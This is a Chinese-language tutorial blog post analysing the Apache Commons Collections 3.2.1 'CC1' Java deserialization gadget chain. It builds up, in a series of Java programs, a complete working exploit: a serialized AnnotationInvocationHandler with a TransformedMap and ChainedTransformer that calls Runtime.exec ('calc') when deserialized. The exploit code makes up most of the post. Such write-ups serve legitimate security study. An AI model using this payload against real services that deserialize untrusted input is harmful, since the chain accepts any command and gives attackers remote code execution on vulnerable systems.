java的CC1分析与利用
CC链1分析与利用
Commons Collections简介
Apache Commons Collections 是一个扩展了Java 标准库里的Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。 作为Apache 开源项目的重要组件,被广泛运用于各种Java 应用的开发。
环境配置
jdk版本:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了
下载链接:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
一、依赖配置
先创建一个新的maven项目:

然后在文件pom.xml的中添加(这里是分析Commons Collections3.2.1版本下的一条反序列化漏洞链):
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
完成后重新加载一下即可。
二、源码配置
这个也是需要配置的,因为后面会用到jdk中的一些类,而这些类是class文件,不利于我们分析,我们需要它的.java文件,这就需要下载其对应源码。
下载:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
点击zip下载后解压,在/src/share/classes中找到sun文件,把其复制到jdk中src.zip的解压文件

然后在idea中的项目结构处加载源路径

链子分析
终点类
终点类就是链子的最底端调用危险函数的地方,但这也是我们入手的地方。
接口Transformaer的tranform方法:

然后看一下哪些类实现了该接口(IDEA中快捷键:ctrl+alt+b):
ChainedTransformer

这个类中的transform方法起到个链式调用的作用,就是把前一次的输出当作后一次的输入。
ConstantTransformer

可以看到该类是接受一个任意对象然后都返回一个常量,而该常量又是由构造函数控制的。
InvokerTransformer

这个类中的transform方法实现了个任意方法调用(因为其中的变量可以由构造函数控制)。可以利用其构造恶意方法进行代码执行。
测试一下:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1test{
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
in.transform(Runtime.getRuntime());
}
}

可以看到能够通过调用该类的transform方法进行恶意方法调用从而命令执行。其实就是其实现了个简单的反射功能,让我们把原本的两行写成了一行。那么这个类就是终点类了。
在正常反序列化分析思路中其实就找两个点,第一个是找哪个类中的方法有调用危险方法(终点类),第二个就是重写了readObject的类(起点类),很显然这里的InvokerTransformer是终点类。
所以接下来就是看谁调用了InvokerTransformer.transform()方法,
checkSetValue()
查找一下transform()的用法(就是看哪里调用了transform()):

发现TransformedMap类的 checkSetValue()里使用了 valueTransformer调用transform(),这个valueTransformer看名字就非常可疑,感觉应该是可控的参数,跟进到TransformedMap类中:

看到参数valueTransformer是保护+final属性,但发现该类的构造函数可以对valueTransformer进行赋值。

可惜构造函数也是保护属性,只能自己调用。不要灰心继续找找看谁调用了该构造函数(有点像Rutime实例化的获得,不过其是私有属性)。

发现是个公有静态方法可以调用。
那么现在就是可以通过调用decorate函数来进行TransformedMap类实例化从而让valueTransformer的值等于InvokerTransformer。
然后就是要调用checkSetValue() 方法来实现上面InvokerTransformer中的transform()方法,但是从上面不难发现checkSetValue()是个保护属性的函数,所以又要去找找谁调用了checkSetValue()方法。

setValue()
可以看到只有一个结果,跟进该类看看:

是个子类里面调用的,并且它的构造方法是保护属性,setValue方法倒是公有属性,但看来是不能直接实列化来调用setValue()方法了,
但是这里查看该方法调用结果太多了,有38个结果,主要是我也看不懂怎么调用的。先直接照着师傅们的构造调用一下吧:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map=new HashMap();
map.put("key","value");
Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用
for(Map.Entry entry : t.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}
}
运行结果:

大概解释一下为什么这里entry.setValue(Runtime.getRuntime());会调用到MapEntry中的setValue方法(虽然调试一下也知道)。这里其实就是在遍历Map中的键值对,而这里Map是TransformedMap对象修饰后的键值,TransformedMap是继承的AbstractInputCheckedMapDecorator类,AbstractInputCheckedMapDecorator类又继承AbstractMapDecorator类,MapEntry也是AbstractMapDecorator的副类,那么在调用setValue的时候就会调用到重新后的setValue方法也就是MapEntry中的setValue方法。

(其实感觉就像反序列化最基础的readObject方法重写一样,为什么就一定会调用到重写readObject方法,因为序列化的对象就是这个类嘛。)
readObject()
但是很显然这里并不是终点链,因为还没有涉及到反序列化。所以还是得找谁调用了setValue()方法,不过通过上面的自己构造调用来看,我们要找的类里面调用setValue方法估计也是以差不多的形式来调用的。
最后在AnnotationInvocationHandle类中找到了符合条件的情况。

memberValue参数可控,而且发现还在readObject方法里面,这不妥妥起点类了嘛。

但发现这个构造方法前面没有public属性,那么就是default类型。在java中,default类型只能在本包进行调用。说明这个类只能在sun.reflect.annotation这个包下被调用。
我们要想在外部调用,需要用到反射来解决,进行构造:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map=new HashMap();
map.put("key","value");
Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Override.class,t);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
三个问题
当然这样是还调用不到setValue方法的,有两个if条件。而且就算调用了发现setVlaue参数是固定的,我们还根本没有把Runtime.getRuntime()这个参数传进去,而且Runtime.getRuntime()也不能进行序列化,因为Runtime没有序列化接口。
总结一下这里的几个问题:
一、Runtime的序列化
二、setValue参数的改变
三、两个if条件的绕过
解决Runtime的序列化
因为Runtime是没有反序列化接口的的,所以其不能进行反序列化,但是可以把其变回原型类class,这个是存在serilize接口的:

在利用反射来调用其方法,下面是其反射调用的demo:
public class CC1test {
public static void main(String[] args)throws Exception {
Class c1=Runtime.class;
Runtime runtime = (Runtime) c1.getMethod("getRuntime",null).invoke(null);
c1.getMethod("exec",String.class).invoke(runtime,"calc");
}
}
不过这种写法下面照着改InvokerTransformer.tansform调用时不好对照,所以换一种详细的写法。
public class CC1test {
public static void main(String[] args)throws Exception {
Class c1=Runtime.class;
Method getruntime = c1.getMethod("getRuntime",null);
Runtime runtime=(Runtime) getruntime.invoke(null,null);
c1.getMethod("exec",String.class).invoke(runtime,"calc");
}
}
然后利用InvokerTransformer.tansform来进行代替反射进行调用,因为需要InvokerTransformer.tansform来调用危险函数嘛。
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class CC1test {
public static void main(String[] args)throws Exception {
Method getruntime=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}
分析构造,这里其实就可以把new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);看作是调用Runtime.class的getMethod方法,参数是("getRuntime",null)。
剩下的如法炮制。

但是这样要一个个嵌套创建参数太麻烦了(当然也必须这么改),这里我们想起上面一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:
再通俗一点讲就是上面说过的会把前一次的输出当作下一次的输入,这里transform的参数也就是上一次的输出,所以非常符合当前这种情况。
构造:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
new ChainedTransformer(transformers).transform(Runtime.class);
简单分析一下就是建立一个数组把刚刚transform函数前面不同的值储存起来待会循环调用。然后只需传入参数Runtime.class就行了。

那么解决了Runtime反序列化的问题,现在先加上反序列化的代码:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("key","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Override.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
解决if条件
上面代码运行肯定是弹不了计算机的。看看调用setValue的地方:

先不说setValue()方法的参数不是我们想要的,这里还有两个if条件,第一个if是要memberType != null,先看memberType是什么:
Class<?> memberType = memberTypes.get(name);
而这里的name就是键值对中的建,memberTypes:
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
这个就是注解中成员变量的名称,但是上面的Override没有成员变量。换一个注解,这里用到Target

其成员变量名称是value,所以把key设为value。再次进行调试:

发现第二个if直接就符合条件了,顺利来到了setValue(),不过这里还是简单分析一下第二个if条件:
就是判断value是否是memberType和ExceptionProxy类型的实例,这里value传的是aaa字符串肯定实不符和。所以直接调用到了最后一步setValue方法。
解决setValue参数
到这里在理一遍思路,先把上面的代码粘下来:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("key","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Override.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
首先是通过InvokerTransformer类的transform方法来反射调用Runtime.getRuntime的exec方法执行危险命令。
后面由于需要Runtime序列化,所以要利用Runtime.class来一步一步调用到危险函数(也就是选调用到getRuntime方法然后再调用到exec方法)所以连续用了几次InvokerTransformer类的transform方法。但是后面序列化肯定只有Runtime.class一个参数传进去,所以又利用了ChainedTransformer类。它的transform方法可以实现迭代调用transform方法,这样就只用传入Runtime.class就可以直接执行到最后的calc了(当然这是手动调用)。
然后就是利用TransformedMap类checkSetValue方法来调用ChainedTransformer类的transform,在这之前,利用TransformedMap.decorate静态方法来实现TransformedMap类的实例化主要需要调用其构造方法让参数valueTransformer的值等于ChainedTransformer,这样checkSetValue才能算是调用ChainedTransformer的transform方法,
但由于这里checkSetValue是保护属性,所以又要利用MapEntry类的setValue方法来调用checkSetValue方法,由于MapEntry是个子类且其继承了Map.Entry接口可以在使用上面Map遍历的形式调用到MapEntry类的setValue方法(这是手动)
最后发现AnnotationInvocationHandler类中的readObject方法中刚好有这个Map遍历,至此到readObject就算完成了最后一个类,虽然其是defualt属性,但还是可以利用反射来达到调用。到这里只需要解决最后一个问题,就是setValue的参数问题,因为这个setValue的参数也就是最后transform的参数。
发现前面提到的类ConstantTransformer可以把接受的任何参数都返回一个常量并且常量可控。

那么构造:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Target.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
这样不管setValue是什么参数当传入到最后 ChainedTransformer.transforme时会通过ConstantTransformer的transforme方法返回Runtime.class固定参数,这样最后迭代一样可以执行到calc。
所以这条链也就结束了,从readObject开始可以一步一步到最后恶意命令执行。
总结
主要的函数调用就是:
transform ---->checkSetValue ----> setValue ----> readObject
只是其中穿插了一些其他需要解决的问题。

浙公网安备 33010602011771号